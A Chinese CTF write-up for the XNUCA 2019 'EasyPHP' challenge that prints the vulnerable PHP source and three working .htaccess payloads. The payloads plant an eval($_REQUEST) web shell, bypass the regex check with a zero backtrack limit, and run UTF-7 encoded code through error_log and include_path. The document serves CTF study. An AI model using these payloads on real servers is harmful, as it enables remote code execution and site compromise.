[XNUCA2019Qualifier]EasyPHP刷题笔记
源码
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
知识点:
.htaccess中#为注释,\可以接换行
.htaccess中可以设置正则回溯次数,使匹配返回不同值
.htaccess中可以设置默认包含路径
.htaccess中可以设置error_log的路径
利用.htaccess设置编码在html编码中把<>保留
__halt_compiler()函数让终端编译器停止解析
解法1:
写入.htaccess,内容
php_value auto_prepend_f\ ile ".htaccess" #<?php eval($_REQUEST[2])?> #\ just one chance
然后访问index.php即可执行代码
解法2:
写入.htaccess,内容
php_value pcre.backtrack_limit 0 php_value pcre.jit 0 #\ just one chance
设置回溯次数为0,此时preg_match发生错误返回false!=1,正则被绕过,可以直接写文件
解法3:
写入.htaccess,内容
php_value include_path "/tmp/xx/+ADw?php eval($_REQUEST[2])+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_value error_reporting 32767 php_value error_log /tmp/fl3g.php #\
just one chance
将默认包含路径名改为utf-7编码的恶意代码,这个时候再访问index.php时include会报错,error_reporting 32767会输出所有错误到指定的error_log里面去,此时的log文件里包含编码后的恶意代码
访问index.php后再次写入.htaccess,内容
php_value include_path "/tmp" php_value zend.multibyte 1 php_value zend.script_encoding "UTF-7" #\ just one chance
设置包含路径为/tmp,开启多字节编码解析,编码解析格式为utf-7,此时再访问index.php就包含了utf-7解析的/tmp/fl3g.php,执行了恶意代码
佛系刷题😶